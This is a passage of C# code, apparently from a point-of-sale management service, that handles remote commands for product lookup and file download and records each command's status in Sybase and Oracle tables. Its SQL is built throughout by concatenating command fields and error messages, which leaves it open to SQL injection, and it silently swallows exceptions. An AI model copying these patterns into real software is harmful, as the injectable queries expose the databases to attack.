apppath); sw.WriteLine("port=" + port); sw.WriteLine("setup=" + setup); sw.WriteLine("openpath=" + openpath); sw.WriteLine(); sw.WriteLine(dbsync); sw.WriteLine("iswork=" + iswork); sw.WriteLine(dbconect); sw.WriteLine("dbip=" + dbip1); sw.WriteLine("dbport=" + dbport1); sw.WriteLine("dbname=" + dbname1); sw.WriteLine("dbuser=" + dbuser1); sw.WriteLine("dbpass=" + dbpass1); sw.WriteLine("conname=" + conname1); sw.WriteLine("serverpartcode=" + serverpartcode); sw.WriteLine("shopcode=" + shopcode); sw.WriteLine("machinecode=" + machinecode); sw.WriteLine("orapath=" + orapath); sw.WriteLine(setups); sw.WriteLine("manmode=" + manmode); sw.WriteLine(systemparm); sw.WriteLine("softwarename=" + softwarename); sw.WriteLine("dbtrans_mode=" + dbtrans_mode); sw.WriteLine("endgo_line=" + endgo_line); sw.WriteLine("adv_top=" + adv_top); sw.WriteLine("adv_end=" + adv_end); sw.WriteLine("input_mode=" + input_mode); sw.WriteLine("is_print=" + is_print); sw.WriteLine("is_open=" + is_open); sw.WriteLine("is_dpis=" + is_dpis); sw.WriteLine("xpprint_num=" + xpprint_num); sw.WriteLine("jbprint_num=" + jbprint_num); sw.WriteLine("effectiveday=" + effectiveday); sw.WriteLine("checkday=" + checkday); sw.WriteLine("dispcom=" + dispcom); sw.WriteLine("spdj=" + spdj); sw.WriteLine("printport=" + printport); sw.WriteLine("discount2=" + discount2); sw.WriteLine("kitchenprint=" + kitchenprint); sw.WriteLine("prefix=" + prefix); sw.WriteLine("serverpartname=" + serverpartname); sw.WriteLine("brandnum=" + brandnum); sw.WriteLine("endaccounttimes=" + endaccounttimes); sw.WriteLine("billoverlap=" + billoverlap); sw.Close(); #endregion } try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='正常' where COMMODITYMACHINE_ID = " + ID + " AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; ESSupport.Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='正常' where COMMODITYMACHINE_ID = " + ID + " AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } } } } catch (Exception ex) { try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message + "' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'"; ESSupport.Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message + "' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'"; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } LogHelper.WriteServiceLog(ex.Message + "\r\n" + sql); } } #endregion #region 返回商品信息命令 else if (FLAG == "1" && (UPLOAD_STATE != "3" || string.IsNullOrEmpty(UPLOAD_STATE)) && HANDWAY == "commodityinfo" && datenow >= datebegin)//查找sqlanywhere商品信息保存至数据库中 { string sql = ""; string Oraclesql = ""; string commodityInfo = ""; try { if (REPEAT_STATE == "1") { if ((datenow - datebegin).TotalMinutes % arr == 0) { string sqlany = @"SELECT COMMODITY_NAME,COMMODITY_BARCODE,COMMODITY_RETAILPRICE FROM DBA.t_commodityex WHERE(COMMODITY_BARCODE = '" + HANDCONTENT + "')"; DataTable _CommodityTable = Lib.SyBaseHelper.QueryOdbc(sqlany).Tables[0]; //OdbcCommand cmd = new OdbcCommand(sqlany, conany); //OdbcDataReader odbcDRD = cmd.ExecuteReader(); //bool i = false; string sqlhotset = "SELECT HOTKEY FROM DBA.t_hotkeyset WHERE COMMODITY_BARCODE = '" + HANDCONTENT + "'"; DataTable _HotKeyTable = Lib.SyBaseHelper.QueryOdbc(sqlhotset).Tables[0]; //OdbcCommand cmd1 = new OdbcCommand(sqlhotset, conany); //OdbcDataReader odbcrd1 = cmd1.ExecuteReader(); //bool j = odbcrd1.Read(); DateTime conndate = DateTime.Now; String connectdate = conndate.ToShortDateString().ToString(); string connect_ip = lblIPAdress4.Text; string machinename = lblComPName.Text; string machinecode = "", serverpartcode = "", shopcode = "", brandnum = ""; string currcommcount = "SELECT COUNT(*) AS Expr1 FROM DBA.t_commodityex"; //OdbcCommand curr = new OdbcCommand(currcommcount, conany); //OdbcDataReader odbccurr = curr.ExecuteReader(); int commcount = 0; try { commcount = int.Parse(Lib.SyBaseHelper.QueryOdbc(currcommcount).Tables[0].Rows[0][0].ToString()); } catch { commcount = 0; } //if (odbccurr.HasRows) //{ // odbccurr.Read(); // commcount = int.Parse(odbccurr["Expr1"].ToString());//currcommcount //} FileStream fs = new FileStream("setup.ini", FileMode.Open); StreamReader m_streamReader = new StreamReader(fs); m_streamReader.BaseStream.Seek(0, SeekOrigin.Begin); string strLine = m_streamReader.ReadLine(); do { string[] split = strLine.Split('='); string b = split[0]; if (b == "machinecode") machinecode = split[1]; else if (b == "serverpartcode") serverpartcode = split[1]; else if (b == "shopcode") shopcode = split[1]; else if (b == "brandnum") brandnum = split[1]; strLine = m_streamReader.ReadLine(); } while (strLine != null); fs.Close(); m_streamReader.Close(); string count = null; string sum = null; string DATE = null; string workname = null; string sqlsum = @"SELECT MAX(TICKETCODE)as max,SUM(FACTAMOUNT) as sum,MAX(SELLDATA_DATE) AS SELL FROM DBA.t_selldata a " + "WHERE A.SERVERPARTCODE = " + serverpartcode + " AND A.SHOPCODE = " + shopcode + " AND A.MACHINECODE = " + machinecode + " AND SELLDATA_DATE BETWEEN (select max(startdate) from dba.t_personsell b where b.serverpartcode = a.serverpartcode " + "and b.shopcode = a.shopcode and b.machinecode = a.machinecode and enddate is null) and '" + datenow + "'"; DataTable _SellDataTable = Lib.SyBaseHelper.QueryOdbc(sqlsum).Tables[0]; //OdbcCommand comsum = new OdbcCommand(sqlsum, conany); //OdbcDataReader sumread = comsum.ExecuteReader(); if (_SellDataTable.Rows.Count > 0) { count = _SellDataTable.Rows[0]["max"].ToString(); sum = _SellDataTable.Rows[0]["sum"].ToString(); DATE = _SellDataTable.Rows[0]["SELL"].ToString(); } string sqlname = @"select sellworkername from dba.t_sellworker a,dba.t_personsell b where a.sellworkercode = " + "b.cashworker_code and a.serverpartcode = b.serverpartcode and b.shopcode ='" + shopcode + "' and b.serverpartcode = '" + serverpartcode + "' and b.machinecode = '" + machinecode + "' and b.enddate is null"; //OdbcCommand comname = new OdbcCommand(sqlname, conany); //OdbcDataReader nameread = comname.ExecuteReader(); DataTable _PersonsellTable = Lib.SyBaseHelper.QueryOdbc(sqlname).Tables[0]; if (_PersonsellTable.Rows.Count > 0) { workname = _PersonsellTable.Rows[0]["sellworkername"].ToString(); } else { workname = "未登陆工班"; } if (count == "") { count = "0"; sum = "0"; } //string sqlcontent = "SELECT COMMODITY_CODE, SELLCOUNT FROM DBA.t_selldata"; ////OdbcCommand ocmd = new OdbcCommand(sqlcontent, conany); ////OdbcDataReader conrd = ocmd.ExecuteReader(); //DataTable _SellData = Lib.SyBaseHelper.QueryOdbc(sqlcontent) //string COMMODITY_CODE = null; //decimal SELLCOUNT = 0; //if (conrd.HasRows) //{ // conrd.Read(); // if (!string.IsNullOrEmpty(conrd["COMMODITY_CODE"].ToString())) // { // COMMODITY_CODE = (string)conrd["COMMODITY_CODE"]; // } // SELLCOUNT = (decimal)conrd["SELLCOUNT"]; //} string sqlpoini = @"select count(*) from " + dbname + ".T_CONNECTPOINT where serverpartcode = '" + serverpartcode + "' and shopcode = '" + shopcode + "'and machinecode = '" + machinecode + "'"; OracleCommand cmdpoini = new OracleCommand(sqlpoini, conn); OracleDataReader poini = cmdpoini.ExecuteReader(); int pcount = 0; if (poini.HasRows) { poini.Read(); pcount = int.Parse(poini["count(*)"].ToString()); } if (_CommodityTable.Rows.Count > 0) { string name = (string)_CommodityTable.Rows[0]["COMMODITY_NAME"]; string code = (string)_CommodityTable.Rows[0]["COMMODITY_BARCODE"]; decimal price = (decimal)_CommodityTable.Rows[0]["COMMODITY_RETAILPRICE"]; if (_HotKeyTable.Rows.Count > 0) { string hotkey = (string)_HotKeyTable.Rows[0]["HOTKEY"]; if (pcount > 0) { if (count == "0") { commodityInfo = "商品名称:" + name + "|商品条码:" + code + "|当前售价:" + price + "|商品快捷键:" + hotkey; // string sqlsave = @"update " + dbname + ".T_CONNECTPOINT set connect_date = To_date('" + conndate + //"','YYYY-MM-DD hh24:mi:ss'),CONTENT = '" + connectdate + "||" + brandnum + //"',curramount= 0,currsellcount= 0 ,CURRCOMMCOUNT=" + commcount + ",CURRPRESON='" + workname + //"',commodityinfo='" + commodityInfo + "' where MACHINECODE='" + machinecode + //"' where MACHINECODE='" + machinecode + //"' AND SERVERPARTCODE='" + serverpartcode + "GetLastSellData' AND SHOPCODE='" + shopcode + "'"; // OracleCommand ComSave = new OracleCommand(sqlsave, conn); // ComSave.ExecuteNonQuery(); } else { commodityInfo = "商品名称:" + name + "|商品条码:" + code + "|当前售价:" + price + "|商品快捷键:" + hotkey; //string sqlSave = @"update " + dbname + ".T_CONNECTPOINT set connect_date= To_date('" + conndate + // "','YYYY-MM-DD hh24:mi:ss'), CONTENT ='" + connectdate + "|" + DATE + "|" + COMMODITY_CODE + // "|" + SELLCOUNT + "|" + brandnum + "',CURRAMOUNT=" + count + ",CURRSELLCOUNT=" + sum + // ",CURRCOMMCOUNT =" + commcount + ",CURRPRESON='" + workname + "',commodityinfo=" + commodityInfo + // "' where MACHINECODE='" + machinecode + "' AND SERVERPARTCODE='" + serverpartcode + // "' AND SHOPCODE='" + shopcode + "'"; //OracleCommand ComSave = new OracleCommand(sqlSave, conn); //ComSave.ExecuteNonQuery(); } } else { commodityInfo = "商品名称:" + name + "|商品条码:" + code + "|当前售价:" + price + "|商品快捷键:" + hotkey; //string sqlSave = @"insert into " + dbname + ".T_CONNECTPOINT values (1,'" + machinecode + // "',TO_DATE('" + conndate + "','YYYY-MM-DD hh24:mi:ss'),'" + connect_ip + "','" + serverpartcode + // "','" + shopcode + "','" + machinename + "','" + connectdate + "|" + DATE + // "|" + COMMODITY_CODE + "|" + SELLCOUNT + "|" + brandnum + "'," + count + "," + sum + // "," + commcount + ",'" + workname + "','" + commodityInfo + "')"; //OracleCommand ComSave = new OracleCommand(sqlSave, conn); //ComSave.ExecuteNonQuery(); } } else { if (pcount > 0) { if (count == "0") { commodityInfo = "商品名称:" + name + "|商品条码:" + code + "|当前售价:" + price + "|未找到快捷键"; // string sqlsave = @"update " + dbname + ".T_CONNECTPOINT set connect_date = To_date('" + conndate + //"','YYYY-MM-DD hh24:mi:ss'),CONTENT = '" + connectdate + "||" + brandnum + //"',curramount=null,currsellcount=null,CURRCOMMCOUNT=" + commcount + ",CURRPRESON='" + workname + //"',commodityinfo='" + commodityInfo + "' where MACHINECODE='" + machinecode + //"' AND SERVERPARTCODE='" + serverpartcode + "' AND SHOPCODE='" + shopcode + "'"; // OracleCommand ComSave = new OracleCommand(sqlsave, conn); // ComSave.ExecuteNonQuery(); } else { commodityInfo = "商品名称:" + name + "|商品条码:" + code + "|当前售价:" + price + "|未找到快捷键"; //string sqlSave = @"update " + dbname + ".T_CONNECTPOINT set connect_date= To_date('" + conndate + // "','YYYY-MM-DD hh24:mi:ss'), CONTENT ='" + connectdate + "|" + DATE + "|" + COMMODITY_CODE + // "|" + SELLCOUNT + "|" + brandnum + "',CURRAMOUNT=" + count + ",CURRSELLCOUNT=" + sum + // ",CURRCOMMCOUNT =" + commcount + ",CURRPRESON='" + workname + "',commodityinfo='" + commodityInfo + // "' where MACHINECODE='" + machinecode + "' AND SERVERPARTCODE='" + serverpartcode + // "' AND SHOPCODE='" + shopcode + "'"; //OracleCommand ComSave = new OracleCommand(sqlSave, conn); //ComSave.ExecuteNonQuery(); } } else { commodityInfo = "商品名称:" + name + "|商品条码:" + code + "|当前售价:" + price + "|未找到快捷键"; //string sqlSave = @"insert into " + dbname + ".T_CONNECTPOINT values (1,'" + machinecode + // "',TO_DATE('" + conndate + "','YYYY-MM-DD hh24:mi:ss'),'" + connect_ip + "','" + serverpartcode + // "','" + shopcode + "','" + machinename + "','" + connectdate + "|" + DATE + // "|" + COMMODITY_CODE + "|" + SELLCOUNT + "|" + brandnum + "'," + count + "," + sum + // "," + commcount + ",'" + workname + "','" + commodityInfo + "')"; //OracleCommand ComSave = new OracleCommand(sqlSave, conn); //ComSave.ExecuteNonQuery(); } } } else { if (pcount > 0) { if (count == "0") { commodityInfo = "未找到条码为:" + HANDCONTENT + "的商品信息"; // string sqlsave = @"update " + dbname + ".T_CONNECTPOINT set connect_date = To_date('" + conndate + //"','YYYY-MM-DD hh24:mi:ss'),CONTENT = '" + connectdate + "||" + brandnum + //"',curramount=0,currsellcount=0,CURRCOMMCOUNT=" + commcount + ",CURRPRESON='" + workname + //"',commodityinfo='" + commodityInfo + "' where MACHINECODE='" + machinecode + //"' AND SERVERPARTCODE='" + serverpartcode + "' AND SHOPCODE='" + shopcode + "'"; // OracleCommand ComSave = new OracleCommand(sqlsave, conn); // ComSave.ExecuteNonQuery(); } else { commodityInfo = "未找到条码为:" + HANDCONTENT + "的商品信息"; //string sqlSave = @"update " + dbname + ".T_CONNECTPOINT set connect_date= To_date('" + conndate + // "','YYYY-MM-DD hh24:mi:ss'), CONTENT ='" + connectdate + "|" + DATE + "|" + COMMODITY_CODE + // "|" + SELLCOUNT + "|" + brandnum + "',CURRAMOUNT=" + count + ",CURRSELLCOUNT=" + sum + // ",CURRCOMMCOUNT =" + commcount + ",CURRPRESON='" + workname + // "',commodityinfo='" + commodityInfo + "' where MACHINECODE='" + machinecode + // "' AND SERVERPARTCODE='" + serverpartcode + "' AND SHOPCODE='" + shopcode + "'"; //OracleCommand ComSave = new OracleCommand(sqlSave, conn); //ComSave.ExecuteNonQuery(); } } else { commodityInfo = "未找到对应商品信息"; //string sqlSave = @"insert into " + dbname + ".T_CONNECTPOINT values (1,'" + machinecode + // "',TO_DATE('" + conndate + "','YYYY-MM-DD hh24:mi:ss'),'" + connect_ip + "','" + serverpartcode + // "','" + shopcode + "','" + machinename + "','" + connectdate + "|" + DATE + // "|" + COMMODITY_CODE + "|" + SELLCOUNT + "|" + brandnum + "'," + count + "," + sum + // "," + commcount + ",'" + workname + "','" + commodityInfo + "')"; //OracleCommand ComSave = new OracleCommand(sqlSave, conn); //ComSave.ExecuteNonQuery(); } } try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='运行中," + commodityInfo + "' where COMMODITYMACHINE_ID = " + ID + " AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'"; Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 4 , REMARK_DESC='运行中," + commodityInfo + "' where COMMODITYMACHINE_ID = " + ID + " AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'"; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } } } if (REPEAT_STATE == "0") { string sqlany = @"SELECT COMMODITY_NAME,COMMODITY_BARCODE,COMMODITY_RETAILPRICE FROM DBA.t_commodityex WHERE(COMMODITY_BARCODE = '" + HANDCONTENT + "')"; DataTable _CommodityTable = Lib.SyBaseHelper.QueryOdbc(sqlany).Tables[0]; //OdbcCommand cmd = new OdbcCommand(sqlany, conany); //OdbcDataReader odbcDRD = cmd.ExecuteReader(); //bool i = odbcDRD.Read(); string sqlhotset = "SELECT HOTKEY FROM DBA.t_hotkeyset WHERE COMMODITY_BARCODE = '" + HANDCONTENT + "'"; DataTable _HotKeyTable = Lib.SyBaseHelper.QueryOdbc(sqlhotset).Tables[0]; //OdbcCommand cmd1 = new OdbcCommand(sqlhotset, conany); //OdbcDataReader odbcrd1 = cmd1.ExecuteReader(); //bool j = odbcrd1.Read(); DateTime conndate = Convert.ToDateTime(DateTime.Now.ToString()); String connectdate = DateTime.Now.ToShortDateString().ToString(); string connect_ip = lblIPAdress4.Text; string machinename = lblComPName.Text; string machinecode = "", serverpartcode = "", shopcode = "", brandnum = ""; string currcommcount = "SELECT COUNT(*) AS Expr1 FROM DBA.t_commodityex"; //OdbcCommand curr = new OdbcCommand(currcommcount, conany); //OdbcDataReader odbccurr = curr.ExecuteReader(); int commcount = 0; try { commcount = int.Parse(Lib.SyBaseHelper.QueryOdbc(currcommcount).Tables[0].Rows[0][0].ToString()); } catch { commcount = 0; } //if (odbccurr.HasRows) //{ // odbccurr.Read(); // commcount = int.Parse(odbccurr["Expr1"].ToString());//currcommcount //} FileStream fs = new FileStream("setup.ini", FileMode.Open); StreamReader m_streamReader = new StreamReader(fs); m_streamReader.BaseStream.Seek(0, SeekOrigin.Begin); string strLine = m_streamReader.ReadLine(); do { string[] split = strLine.Split('='); string b = split[0]; if (b == "machinecode") machinecode = split[1]; else if (b == "serverpartcode") serverpartcode = split[1]; else if (b == "shopcode") shopcode = split[1]; else if (b == "brandnum") brandnum = split[1]; strLine = m_streamReader.ReadLine(); } while (strLine != null); fs.Close(); m_streamReader.Close(); string count = null; string sum = null; string DATE = null; string workname = null; string sqlsum = @"SELECT MAX(TICKETCODE)as max,SUM(FACTAMOUNT) as sum,MAX(SELLDATA_DATE) AS SELL FROM DBA.t_selldata a " + "WHERE A.SERVERPARTCODE = " + serverpartcode + " AND A.SHOPCODE = " + shopcode + " AND A.MACHINECODE = " + machinecode + " AND SELLDATA_DATE BETWEEN (select max(startdate) from dba.t_personsell b where b.serverpartcode = a.serverpartcode " + "and b.shopcode = a.shopcode and b.machinecode = a.machinecode and enddate is null) and '" + datenow + "'"; //OdbcCommand comsum = new OdbcCommand(sqlsum, conany); //OdbcDataReader sumread = comsum.ExecuteReader(); DataTable _SellDataTable = Lib.SyBaseHelper.QueryOdbc(sqlsum).Tables[0]; if (_SellDataTable.Rows.Count > 0) { //sumread.Read(); count = _SellDataTable.Rows[0]["max"].ToString(); sum = _SellDataTable.Rows[0]["sum"].ToString(); DATE = _SellDataTable.Rows[0]["SELL"].ToString(); } string sqlname = @"select sellworkername from dba.t_sellworker a,dba.t_personsell b where a.sellworkercode = " + "b.cashworker_code and a.serverpartcode = b.serverpartcode and b.shopcode ='" + shopcode + "' and b.serverpartcode = '" + serverpartcode + "' and b.machinecode = '" + machinecode + "' and b.enddate is null"; //OdbcCommand comname = new OdbcCommand(sqlname, conany); //OdbcDataReader nameread = comname.ExecuteReader(); DataTable _PersonsellTable = Lib.SyBaseHelper.QueryOdbc(sqlname).Tables[0]; if (_PersonsellTable.Rows.Count > 0) { workname = _PersonsellTable.Rows[0]["sellworkername"].ToString(); } else { workname = "未登陆工班"; } if (count == "") { count = "0"; sum = "0"; } //string sqlcontent = "SELECT COMMODITY_CODE, SELLCOUNT FROM DBA.t_selldata"; //OdbcCommand ocmd = new OdbcCommand(sqlcontent, conany); //OdbcDataReader conrd = ocmd.ExecuteReader(); //string COMMODITY_CODE = null; //decimal SELLCOUNT = 0; //if (conrd.HasRows) //{ // conrd.Read(); // if (!string.IsNullOrEmpty(conrd["COMMODITY_CODE"].ToString())) // { // COMMODITY_CODE = (string)conrd["COMMODITY_CODE"]; // } // SELLCOUNT = (decimal)conrd["SELLCOUNT"]; //} string sqlpoini = @"select count(*) from " + dbname + ".T_CONNECTPOINT where serverpartcode = '" + serverpartcode + "' and shopcode = '" + shopcode + "'and machinecode = '" + machinecode + "'"; OracleCommand cmdpoini = new OracleCommand(sqlpoini, conn); OracleDataReader poini = cmdpoini.ExecuteReader(); int pcount = 0; if (poini.HasRows) { poini.Read(); pcount = int.Parse(poini["count(*)"].ToString()); } if (_CommodityTable.Rows.Count > 0) { string name = (string)_CommodityTable.Rows[0]["COMMODITY_NAME"]; string code = (string)_CommodityTable.Rows[0]["COMMODITY_BARCODE"]; decimal price = (decimal)_CommodityTable.Rows[0]["COMMODITY_RETAILPRICE"]; if (_HotKeyTable.Rows.Count > 0) { string hotkey = (string)_HotKeyTable.Rows[0]["HOTKEY"]; if (pcount > 0) { if (count == "0") { commodityInfo = "商品名称:" + name + "|商品条码:" + code + "|当前售价:" + price + "|商品快捷键:" + hotkey; //string sqlsave = @"update " + dbname + ".T_CONNECTPOINT set connect_date = To_date('" + conndate + //"','YYYY-MM-DD hh24:mi:ss'),CONTENT = '" + connectdate + "||" + brandnum + //"',curramount= 0,currsellcount= 0 ,CURRCOMMCOUNT=" + commcount + ",CURRPRESON='" + workname + //"',commodityinfo='" + commodityInfo + //"' where MACHINECODE='" + machinecode + "' AND SERVERPARTCODE='" + serverpartcode + //"' AND SHOPCODE='" + shopcode + "'"; //OracleCommand ComSave = new OracleCommand(sqlsave, conn); //ComSave.ExecuteNonQuery(); } else { commodityInfo = "商品名称:" + name + "|商品条码:" + code + "|当前售价:" + price + "|商品快捷键:" + hotkey; //string sqlSave = @"update " + dbname + ".T_CONNECTPOINT set connect_date= To_date('" + conndate + // "','YYYY-MM-DD hh24:mi:ss'), CONTENT ='" + connectdate + "|" + DATE + "|" + COMMODITY_CODE + // "|" + SELLCOUNT + "|" + brandnum + "',CURRAMOUNT=" + count + ",CURRSELLCOUNT=" + sum + // ",CURRCOMMCOUNT =" + commcount + ",CURRPRESON='" + workname + "',commodityinfo='" + commodityInfo + // "' where MACHINECODE='" + machinecode + "' AND SERVERPARTCODE='" + serverpartcode + // "' AND SHOPCODE='" + shopcode + "'"; //OracleCommand ComSave = new OracleCommand(sqlSave, conn); //ComSave.ExecuteNonQuery(); } } else { commodityInfo = "商品名称:" + name + "|商品条码:" + code + "|当前售价:" + price + "|商品快捷键:" + hotkey; //string sqlSave = @"insert into " + dbname + ".T_CONNECTPOINT values (1,'" + machinecode + // "',TO_DATE('" + conndate + "','YYYY-MM-DD hh24:mi:ss'),'" + connect_ip + "','" + serverpartcode + // "','" + shopcode + "','" + machinename + "','" + connectdate + "|" + DATE + // "|" + COMMODITY_CODE + "|" + SELLCOUNT + "|" + brandnum + "'," + count + "," + sum + // "," + commcount + ",'" + workname + "','" + commodityInfo + "')"; //OracleCommand ComSave = new OracleCommand(sqlSave, conn); //ComSave.ExecuteNonQuery(); } } else { if (pcount > 0) { if (count == "0") { commodityInfo = "商品名称:" + name + "|商品条码:" + code + "|当前售价:" + price + "|未找到快捷键"; // string sqlsave = @"update " + dbname + ".T_CONNECTPOINT set connect_date = To_date('" + conndate + //"','YYYY-MM-DD hh24:mi:ss'),CONTENT = '" + connectdate + "||" + brandnum + //"',curramount=null,currsellcount=null,CURRCOMMCOUNT=" + commcount + ",CURRPRESON='" + workname + //"',commodityinfo='" + commodityInfo + "' where MACHINECODE='" + machinecode + //"' AND SERVERPARTCODE='" + serverpartcode + "' AND SHOPCODE='" + shopcode + "'"; // OracleCommand ComSave = new OracleCommand(sqlsave, conn); // ComSave.ExecuteNonQuery(); } else { commodityInfo = "商品名称:" + name + "|商品条码:" + code + "|当前售价:" + price + "|未找到快捷键"; //string sqlSave = @"update " + dbname + ".T_CONNECTPOINT set connect_date= To_date('" + conndate + // "','YYYY-MM-DD hh24:mi:ss'), CONTENT ='" + connectdate + "|" + DATE + "|" + COMMODITY_CODE + // "|" + SELLCOUNT + "|" + brandnum + "',CURRAMOUNT=" + count + ",CURRSELLCOUNT=" + sum + // ",CURRCOMMCOUNT =" + commcount + ",CURRPRESON='" + workname + "',commodityinfo='" + commodityInfo + // "' where MACHINECODE='" + machinecode + // "' AND SERVERPARTCODE='" + serverpartcode + "' AND SHOPCODE='" + shopcode + "'"; //OracleCommand ComSave = new OracleCommand(sqlSave, conn); //ComSave.ExecuteNonQuery(); } } else { commodityInfo = "商品名称:" + name + "|商品条码:" + code + "|当前售价:" + price + "|未找到快捷键"; //string sqlSave = @"insert into " + dbname + ".T_CONNECTPOINT values (1,'" + machinecode + // "',TO_DATE('" + conndate + "','YYYY-MM-DD hh24:mi:ss'),'" + connect_ip + "','" + serverpartcode + // "','" + shopcode + "','" + machinename + "','" + connectdate + "|" + DATE + // "|" + COMMODITY_CODE + "|" + SELLCOUNT + "|" + brandnum + "'," + count + "," + sum + // "," + commcount + ",'" + workname + "','" + commodityInfo + "')"; //OracleCommand ComSave = new OracleCommand(sqlSave, conn); //ComSave.ExecuteNonQuery(); } } } else { if (pcount > 0) { if (count == "0") { commodityInfo = "未找到条码为:" + HANDCONTENT + "的商品信息"; // string sqlsave = @"update " + dbname + ".T_CONNECTPOINT set connect_date = To_date('" + conndate + //"','YYYY-MM-DD hh24:mi:ss'),CONTENT = '" + connectdate + "||" + brandnum + //"',curramount=0,currsellcount=0,CURRCOMMCOUNT=" + commcount + ",CURRPRESON='" + workname + //"',commodityinfo='" + commodityInfo + "' where MACHINECODE='" + machinecode + //"' AND SERVERPARTCODE='" + serverpartcode + "' AND SHOPCODE='" + shopcode + "'"; // OracleCommand ComSave = new OracleCommand(sqlsave, conn); // ComSave.ExecuteNonQuery(); } else { commodityInfo = "未找到条码为:" + HANDCONTENT + "的商品信息"; //string sqlSave = @"update " + dbname + ".T_CONNECTPOINT set connect_date= To_date('" + conndate + // "','YYYY-MM-DD hh24:mi:ss'), CONTENT ='" + connectdate + "|" + DATE + "|" + COMMODITY_CODE + // "|" + SELLCOUNT + "|" + brandnum + "',CURRAMOUNT=" + count + ",CURRSELLCOUNT=" + sum + // ",CURRCOMMCOUNT =" + commcount + ",CURRPRESON='" + workname + // "',commodityinfo='" + commodityInfo + "' where MACHINECODE='" + machinecode + // "' AND SERVERPARTCODE='" + serverpartcode + "' AND SHOPCODE='" + shopcode + "'"; //OracleCommand ComSave = new OracleCommand(sqlSave, conn); //ComSave.ExecuteNonQuery(); } } else { commodityInfo = "未找到对应商品信息"; //string sqlSave = @"insert into " + dbname + ".T_CONNECTPOINT values (1,'" + machinecode + // "',TO_DATE('" + conndate + "','YYYY-MM-DD hh24:mi:ss'),'" + connect_ip + "','" + serverpartcode + // "','" + shopcode + "','" + machinename + "','" + connectdate + "|" + DATE + // "|" + COMMODITY_CODE + "|" + SELLCOUNT + "|" + brandnum + "'," + count + "," + sum + // "," + commcount + ",'" + workname + "','未找到对应商品信息')"; //OracleCommand ComSave = new OracleCommand(sqlSave, conn); //ComSave.ExecuteNonQuery(); } } try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 3 , REMARK_DESC='正常," + commodityInfo + "' where COMMODITYMACHINE_ID = " + ID + " AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "' "; Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 3,REMARK_DESC='正常," + commodityInfo + "' where COMMODITYMACHINE_ID = " + ID + " AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + MACHINE_MACADDRESS + "'"; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } } } catch (Exception ex) { try { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message + "' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'"; Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 9 , REMARK_DESC='" + ex.Message + "' where COMMODITYMACHINE_ID = " + ID + "AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'"; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } LogHelper.WriteServiceLog(ex.Message + "\r\n" + sql); } } #endregion #region 下载 命令 else if (FLAG == "1" && (UPLOAD_STATE != "3" || string.IsNullOrEmpty(UPLOAD_STATE)) && datenow >= datebegin && HANDWAY == "download") { string sql = ""; string Oraclesql = ""; try { if (REPEAT_STATE == "1") { sql = "UPDATE DBA.T_COMMODITYMACHINE set UPLOAD_STATE = 4, REMARK_DESC='运行中' where COMMODITYMACHINE_ID = " + ID + " AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'"; if ((datenow - datebegin).TotalMinutes % arr == 0) { HttpWebRequest request = (HttpWebRequest)WebRequest.Create("http://www.baidu.com/img/baidu_sylogo1.gif"); request.Method = "GET"; HttpWebResponse response = (HttpWebResponse)request.GetResponse(); Stream responseStream = response.GetResponseStream(); List btlst = new List(); int b = responseStream.ReadByte(); while (b > -1) { btlst.Add((byte)b); b = responseStream.ReadByte(); } byte[] bts = btlst.ToArray(); File.WriteAllBytes(@"E:\111\样本.jpg", bts); // 保存文件 try { Lib.SyBaseHelper.ExecuteSqlTran(sql); } catch { } try { Oraclesql = "UPDATE " + dbname + ".T_COMMODITYMACHINE set UPLOAD_STATE = 4, REMARK_DESC='运行中' where COMMODITYMACHINE_ID = " + ID + " AND HANDWAY = '" + HANDWAY + "' AND MACHINE_MACADDRESS='" + _mac + "'"; OracleCommand oracle = new OracleCommand(Oraclesql, conn); oracle.ExecuteNonQuery(); } catch { } } } if (REPEAT_STATE == "0") { sql = "UPDATE 